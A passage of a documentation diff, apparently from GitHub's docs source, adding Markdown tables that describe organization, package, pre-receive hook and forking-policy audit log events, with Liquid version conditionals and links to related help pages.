+| `org.audit_log_export` | An organization owner created an export of the organization audit log. If the export included a query, the log will list the query used and the number of audit log entries matching that query. For more information, see "[Exporting audit log activity for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)."
+{%- endif %}
+| `org.block_user` | An organization owner blocked a user from accessing the organization's repositories. {% ifversion fpt or ghec %}For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)."{% endif %}
+| `org.cancel_business_invitation` | An invitation for an organization to join an enterprise was revoked. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %}
+| `org.cancel_invitation` | An invitation sent to a user to join an organization was revoked.
+| `org.clear_actions_settings` |  An organization owner cleared {% data variables.product.prodname_actions %} policy settings for an organization. For more information, see "[Managing GitHub Actions permissions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)."
+| `org.clear_default_repository_permission` | An organization owner cleared the base repository permission policy setting for an organization. For more information, see "[Setting base permissions](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)."
+| `org.clear_member_team_creation_permission` | An organization owner cleared the new teams creation setting for an organization. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)."
+| `org.clear_reader_discussion_creation_permission` | An organization owner cleared the new discussion creation setting for an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %}
+| `org.clear_members_can_create_repos`                 | An organization owner cleared a restriction on repository creation in an organization. For more information, see "[Restricting repository creation in your organization](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization)."
+| `org.clear_members_can_invite_outside_collaborators` | An organization owner cleared the outside collaborators invitation policy for an organization. For more information, see "[Setting permissions for adding outside collaborators](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)."
+| `org.clear_new_repository_default_branch_setting`    | An organization owner cleared the default branch name for new repositories setting for an organization. For more information, see "[Setting the default branch name](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization#setting-the-default-branch-name)."
+{%- ifversion fpt or ghec %}
+| `org.codespaces_trusted_repo_access_granted`         | {% data variables.product.prodname_github_codespaces %} was granted trusted repository access to all other repositories in an organization. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)."
+| `org.codespaces_trusted_repo_access_revoked`         | {% data variables.product.prodname_github_codespaces %} trusted repository access to all other repositories in an organization was revoked. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)."
+{%- endif %}                                                                                                             |
+| `org.config.disable_collaborators_only` | The interaction limit for collaborators only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.config.disable_contributors_only` | The interaction limit for prior contributors only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.config.disable_sockpuppet_disallowed` | The interaction limit for existing users only for an organization was disabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.config.enable_collaborators_only` | The interaction limit for collaborators only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.config.enable_contributors_only` | The interaction limit for prior contributors only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.config.enable_sockpuppet_disallowed` | The interaction limit for existing users only for an organization was enabled. {% ifversion fpt or ghec %}For more information, see "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization#limiting-interactions-in-your-organization)."{% endif %}
+| `org.confirm_business_invitation` | An invitation for an organization to join an enterprise was confirmed. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %}
+| `org.create` | An organization was created. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+{%- ifversion fpt or ghec or ghes %}
+| `org.create_actions_secret` | A {% data variables.product.prodname_actions %} secret was created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
+{%- endif %}
+| `org.create_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was created for an organization.
+| `org.delete`       | An organization was deleted by a user-initiated background job.
+| `org.disable_member_team_creation_permission` | An organization owner limited team creation to owners. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)."
+| `org.disable_reader_discussion_creation_permission` | An organization owner limited discussion creation to users with at least triage permission in an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %}
+{%- ifversion fpt or ghec %}
+| `org.disable_oauth_app_restrictions` | Third-party application access restrictions for an organization were disabled. For more information, see "[Disabling OAuth App access restrictions for your organization](/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization)."
+{%- endif %}
+{%- ifversion ghec %}
+| `org.disable_saml` | An organization owner disabled SAML single sign-on for an organization.
+{%- endif %}
+{%- ifversion not ghae %}
+| `org.disable_two_factor_requirement` | An organization owner disabled a two-factor authentication requirement for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.
+{%- endif %}
+| `org.display_commenter_full_name_disabled` | An organization owner disabled the display of a commenter's full name in an organization. Members cannot see a comment author's full name.
+| `org.display_commenter_full_name_enabled` | An organization owner enabled the display of a commenter's full name in an organization. Members can see a comment author's full name.
+| `org.enable_member_team_creation_permission` | An organization owner allowed members to create teams. For more information, see "[Setting team creation permissions in your organization](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)."
+| `org.enable_reader_discussion_creation_permission` | An organization owner allowed users with read access to create discussions in an organization. {% ifversion fpt or ghec %}For more information, see "[Allowing or disallowing users with read access to create discussions](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."{% endif %}
+{%- ifversion fpt or ghec %}
+| `org.enable_oauth_app_restrictions` | Third-party application access restrictions for an organization were enabled. For more information, see "[Enabling OAuth App access restrictions for your organization](/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization)."
+{%- endif %}
+{%- ifversion ghec %}
+| `org.enable_saml` | An organization owner [enabled SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization) for an organization.
+{%- endif %}
+{%- ifversion not ghae %}
+| `org.enable_two_factor_requirement` | An organization owner requires two-factor authentication for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.
+{%- endif %}
+| `org.integration_manager_added` | An organization owner granted a member access to manage all GitHub Apps owned by an organization.
+| `org.integration_manager_removed` | An organization owner removed access to manage all GitHub Apps owned by an organization from an organization member.
+| `org.invite_member` | A new user was invited to join an organization. {% ifversion fpt or ghec %}For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."{% endif %}
+| `org.invite_to_business` | An organization was invited to join an enterprise.
+| `org.members_can_update_protected_branches.clear` | An organization owner unset a policy for whether members of an organization can update protected branches on repositories in an organization. Organization administrators can choose whether to allow updating protected branches settings.
+| `org.members_can_update_protected_branches.disable` | The ability for enterprise members to update protected branches was disabled. Only enterprise owners can update protected branches.
+| `org.members_can_update_protected_branches.enable` |  The ability for enterprise members to update protected branches was enabled. Members of an organization can update protected branches.
+{%- ifversion fpt or ghec %}
+| `org.oauth_app_access_approved` | An owner [granted organization access to an {% data variables.product.prodname_oauth_app %}](/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization).
+| `org.oauth_app_access_denied` | An owner [disabled a previously approved {% data variables.product.prodname_oauth_app %}'s access](/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization) to an organization.
+| `org.oauth_app_access_requested` | An organization member requested that an owner grant an {% data variables.product.prodname_oauth_app %} access to an organization.
+{%- endif %}
+| `org.recreate` | An organization was restored.
+| `org.register_self_hosted_runner` | A new self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
+| `org.remove_actions_secret` | A {% data variables.product.prodname_actions %} secret was removed.
+| `org.remove_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was removed from an organization.
+| `org.remove_billing_manager` | An owner removed a billing manager from an organization. {% ifversion fpt or ghec %}For more information, see "[Removing a billing manager from your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/removing-a-billing-manager-from-your-organization)"{% endif %}{% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and a billing manager didn't use 2FA or disabled 2FA.{% endif %}
+| `org.remove_member` | An [owner removed a member from an organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization){% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and an organization member doesn't use 2FA or disabled 2FA{% endif %}. Also an [organization member removed themselves](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) from an organization.
+| `org.remove_outside_collaborator` | An owner removed an outside collaborator from an organization{% ifversion not ghae %} or when [two-factor authentication was required in an organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) and an outside collaborator didn't use 2FA or disabled 2FA{% endif %}.
+| `org.remove_self_hosted_runner` | A self-hosted runner was removed. For more information, see "[Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)."
+| `org.rename` | An organization was renamed.
+| `org.restore_member` | An organization member was restored. For more information, see "[Reinstating a former member of your organization](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization)."
+{%- ifversion ghec %}
+| `org.revoke_external_identity` | An organization owner revoked a member's linked identity. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)."
+| `org.revoke_sso_session` | An organization owner revoked a member's SAML session. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)."
+{%- endif %}
+| `org.runner_group_created` | A self-hosted runner group was created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
+| `org.runner_group_removed` | A self-hosted runner group was removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
+{%- ifversion fpt or ghec %}
+| `org.runner_group_renamed` | A self-hosted runner group was renamed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+{%- endif %}
+| `org.runner_group_updated` | The configuration of a self-hosted runner group was changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `org.runner_group_runner_removed` |  The REST API was used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+| `org.runner_group_runners_added` | A self-hosted runner was added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
+| `org.runner_group_runners_updated`|  A runner group's list of members was updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
+{%- ifversion fpt or ghec %}
+| `org.runner_group_visiblity_updated` | The visibility of a self-hosted runner group was updated via the REST API. For more information, see "[Update a self-hosted runner group for an organization](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization)."
+{%- endif %}
+{%- ifversion code-security-audit-log-events %}
+| `org.secret_scanning_push_protection_custom_message_disabled` | The custom message triggered by an attempted push to a push-protected repository was disabled for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+| `org.secret_scanning_push_protection_custom_message_enabled` | The custom message triggered by an attempted push to a push-protected repository was enabled for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+| `org.secret_scanning_push_protection_custom_message_updated` | The custom message triggered by an attempted push to a push-protected repository was updated for your organization. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+{%- endif %}
+{%- ifversion secret-scanning-audit-log-custom-patterns %}
+| `org.secret_scanning_push_protection_disable` | An organization owner or administrator disabled push protection for secret scanning. For more information, see "[Protecting pushes with secret scanning](/enterprise-cloud@latest/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+| `org.secret_scanning_push_protection_enable` | An organization owner or administrator enabled push protection for secret scanning.
+{%- endif %}
+| `org.self_hosted_runner_online` | The runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `org.self_hosted_runner_offline` | The runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+{%- ifversion fpt or ghec or ghes %}
+| `org.self_hosted_runner_updated` | The runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+{%- endif %}
+{%- ifversion fpt or ghec %}
+| `org.set_actions_fork_pr_approvals_policy` | The setting for requiring approvals for workflows from public forks was changed for an organization. For more information, see "[Requiring approval for workflows from public forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#requiring-approval-for-workflows-from-public-forks)."
+{%- endif %}
+| `org.set_actions_retention_limit` | The retention period for {% data variables.product.prodname_actions %} artifacts and logs in an organization was changed. For more information, see "[Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)."
+{%- ifversion fpt or ghec or ghes %}
+| `org.set_fork_pr_workflows_policy` | The policy for workflows on private repository forks was changed. For more information, see "[Enabling workflows for private repository forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)."
+{%- endif %}
+{%- ifversion ghes or audit-log-sso-response-events %}
+| `org.sso_response` | A SAML single sign-on (SSO) response was generated when a member attempted to authenticate with your organization. This event is only available via audit log streaming and the REST API.
+{%- endif %}
+{%- ifversion ghec %}
+| `org.transfer` | An organization was transferred between enterprise accounts. For more information, see "[Adding organizations to your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#transferring-an-organization-between-enterprise-accounts)."
+{%- endif %}
+{%- ifversion not ghae %}
+| `org.transform`    | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."
+{%- endif %}
+| `org.unblock_user` | An organization owner unblocked a user from an organization. {% ifversion fpt or ghec %}For more information, see "[Unblocking a user from your organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)."{% endif %}
+{%- ifversion fpt or ghec or ghes %}
+| `org.update_actions_secret` | A {% data variables.product.prodname_actions %} secret was updated.
+{%- endif %}
+| `org.update_integration_secret` | A {% data variables.product.prodname_dependabot %}{% ifversion fpt or ghec %} or {% data variables.product.prodname_github_codespaces %}{% endif %} integration secret was updated for an organization.
+| `org.update_default_repository_permission` | An organization owner changed the default repository permission level for organization members.
+| `org.update_member` | An organization owner changed a person's role from owner to member or member to owner.
+| `org.update_member_repository_creation_permission` | An organization owner changed the create repository permission for organization members.
+| `org.update_member_repository_invitation_permission` | An organization owner changed the policy setting for organization members inviting outside collaborators to repositories. For more information, see "[Setting permissions for adding outside collaborators](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)."
+| `org.update_new_repository_default_branch_setting` | An organization owner changed the name of the default branch for new repositories in the organization. For more information, see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)."
+{%- ifversion ghec or ghae %}
+| `org.update_saml_provider_settings` | An organization's SAML provider settings were updated.
+| `org.update_terms_of_service` | An organization changed between the Standard Terms of Service and the Corporate Terms of Service. {% ifversion ghec %}For more information, see "[Upgrading to the Corporate Terms of Service](/organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service)."{% endif %}
+{%- endif %}
+
+{%- ifversion ghec or ghes or ghae %}
+## `org_credential_authorization` category actions
+
+| Action | Description
+|--------|-------------
+| `org_credential_authorization.deauthorized` | A member deauthorized credentials for use with SAML single sign-on. {% ifversion ghec or ghae %}For more information, see "[Authenticating with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on)."{% endif %}
+| `org_credential_authorization.grant` | A member authorized credentials for use with SAML single sign-on. {% ifversion ghec or ghae %}For more information, see "[Authenticating with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on)."{% endif %}
+| `org_credential_authorization.revoke` | An owner revoked authorized credentials. {% ifversion ghec %}For more information, see "[Viewing and managing your active SAML sessions](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)."{% endif %}
+{%- endif %}
+
+{%- ifversion secret-scanning-audit-log-custom-patterns %}
+## `org_secret_scanning_custom_pattern` category actions
+
+| Action | Description
+|--------|---------------
+| `org_secret_scanning_custom_pattern.create` | A custom pattern is published for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-organization)."
+| `org_secret_scanning_custom_pattern.delete` | A custom pattern is removed from secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)."
+| `org_secret_scanning_custom_pattern.update` |Changes to a custom pattern are saved for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)."
+{%- endif %}
+
+## `organization_default_label` category actions
+
+| Action | Description
+|--------|-------------
+| `organization_default_label.create` | A default label for repositories in an organization was created. For more information, see "[Creating a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#creating-a-default-label)."
+| `organization_default_label.update` | A default label for repositories in an organization was edited. For more information, see "[Editing a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#editing-a-default-label)."
+| `organization_default_label.destroy` | A default label for repositories in an organization was deleted. For more information, see "[Deleting a default label](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization#deleting-a-default-label)."
+
+{%- ifversion fpt or ghec or ghes %}
+## `organization_domain` category actions
+
+| Action | Description
+|--------|-------------
+| `organization_domain.approve` | An enterprise domain was approved for an organization. For more information, see "[Approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#approving-a-domain-for-your-organization)."
+| `organization_domain.create` | An enterprise domain was added to an organization. For more information, see "[Verifying a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#verifying-a-domain-for-your-organization)."
+| `organization_domain.destroy` | An enterprise domain was removed from an organization. For more information, see "[Removing an approved or verified domain](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#removing-an-approved-or-verified-domain)."
+| `organization_domain.verify` | An enterprise domain was verified for an organization. For more information, see "[Verifying a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization#verifying-a-domain-for-your-organization)."
+
+## `organization_projects_change` category actions
+
+| Action | Description
+|--------|-------------
+| `organization_projects_change.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for organization-wide project boards in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)."
+| `organization_projects_change.disable` | Organization projects were disabled for all organizations in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)."
+| `organization_projects_change.enable` | Organization projects were enabled for all organizations in an enterprise. For more information, see "[Enforcing policies for projects in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise#enforcing-a-policy-for-organization-wide-project-boards)."
+{%- endif %}
+
+## `packages` category actions
+
+| Action | Description
+|--------|-------------
+| `packages.insecure_hash` | Maven published an insecure hash for a specific package version.
+| `packages.package_deleted` | A package was deleted from an organization.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %}
+| `packages.package_published` | A package was published or republished to an organization.
+| `packages.package_restored` | An entire package was restored.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %}
+| `packages.package_version_deleted` | A specific package version was deleted.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %}
+| `packages.package_version_published` | A specific package version was published or republished to a package.
+| `packages.package_version_restored` | A specific package version was deleted.{% ifversion fpt or ghec or ghes %} For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."{% endif %}
+| `packages.part_upload` | A specific package version was partially uploaded to an organization.
+| `packages.upstream_package_fetched` | A specific package version was fetched from the npm upstream proxy.
+| `packages.version_download` | A specific package version was downloaded.
+| `packages.version_upload` | A specific package version was uploaded.
+
+{%- ifversion fpt or ghec %}
+## `pages_protected_domain` category actions
+
+| Action | Description
+|--------|-------------
+| `pages_protected_domain.create` | A {% data variables.product.prodname_pages %} verified domain was created for an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
+| `pages_protected_domain.delete` | A {% data variables.product.prodname_pages %} verified domain was deleted from an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
+| `pages_protected_domain.verify`  | A {% data variables.product.prodname_pages %} domain was verified for an organization or enterprise. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."
+
+## `payment_method` category actions
+
+| Action | Description
+|--------|-------------
+| `payment_method.create` | A new payment method was added, such as a new credit card or PayPal account.
+| `payment_method.remove` | A payment method was removed.
+| `payment_method.update` | An existing payment method was updated.
+
+## `prebuild_configuration` category actions
+
+| Action | Description
+|--------|-------------
+| `prebuild_configuration.create` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was created. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
+| `prebuild_configuration.destroy` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was deleted. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
+| `prebuild_configuration.run_triggered` | A user initiated a run of a {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository branch. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
+| `prebuild_configuration.update` | A {% data variables.product.prodname_github_codespaces %} prebuild configuration for a repository was edited. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
+{%- endif %}
+
+{%- ifversion ghes %}
+## `pre_receive_environment` category actions
+
+| Action | Description
+| ------ | -----------
+| `pre_receive_environment.create` | A pre-receive hook environment was created. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)."
+| `pre_receive_environment.destroy` | A pre-receive hook environment was deleted. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)."
+| `pre_receive_environment.download` | A pre-receive hook environment was downloaded. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)."
+| `pre_receive_environment.update` | A pre-receive hook environment was updated. For more information, see "[Creating a pre-receive hook environment](/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment)."
+
+## `pre_receive_hook` category actions
+
+| Action | Description
+|--------|-------------
+| `pre_receive_hook.create` | A pre-receive hook was created. For more information, see "[Creating pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#creating-pre-receive-hooks)."
+| `pre_receive_hook.destroy` | A pre-receive hook was deleted. For more information, see "[Deleting pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#deleting-pre-receive-hooks)."
+| `pre_receive_hook.enforcement` | A pre-receive hook enforcement setting allowing repository and organization administrators to override the hook configuration was enabled or disabled. For more information, see "[Managing pre-receive hooks on the GitHub Enterprise Server appliance](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance)."
+| `pre_receive_hook.rejected_push` | A pre-receive hook rejected a push.
+| `pre_receive_hook.update` | A pre-receive hook was created. For more information, see "[Editing pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance#editing-pre-receive-hooks)."
+| `pre_receive_hook.warned_push` | A pre-receive hook warned about a push.
+{%- endif %}
+
+## `private_repository_forking` category actions
+
+| Action | Description
+|--------|-------------
+| `private_repository_forking.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."
+| `private_repository_forking.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the policy setting for allowing forks of private and internal repositories, for a repository, organization or enterprise. Private and internal repositories are never allowed  to be forked. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository), "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and for enterprises "[Enforcing a policy for forking private or internal repositories](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories)."
